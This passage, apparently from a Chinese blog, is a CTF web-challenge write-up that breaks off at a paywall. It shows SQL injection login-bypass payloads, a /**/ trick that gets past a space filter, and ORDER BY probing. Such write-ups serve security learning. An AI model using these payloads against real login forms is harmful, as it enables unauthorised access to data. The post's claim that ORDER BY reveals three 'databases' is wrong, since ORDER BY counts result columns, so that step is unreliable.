本文讲述了在CTF比赛中的一个Web安全题目，通过使用万能密码尝试登录并被禁止后，利用/**/绕过空格过滤成功登录。接着通过SQL注入技巧探测数据库数量、名称、表名以及字段，最终获取到flag的详细过程。
进入题目，发现页面和之前的web2一样，试试看万能密码登陆：username=admin' or 1=1#&password=123
不出所料，万能钥匙还是被ban了，试试看过滤了什么
测试发现，题目过滤了空格，那么我们就用/**/来绕过空格：username=admin'/**/or/**/1=1#&password=123
发现可以成功登陆，接下来老方法,测试有几个数据库：username=admin'/**/or/**/1=1/**/order/**/by/**/3#&password=123
username=admin'/**/or/**/1=1/**/order/**/by/**/4#&password=123
到4时发现没有回显，说明有3个数据库
接
最低0.47元/天 解锁文章
扫一扫
2577
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
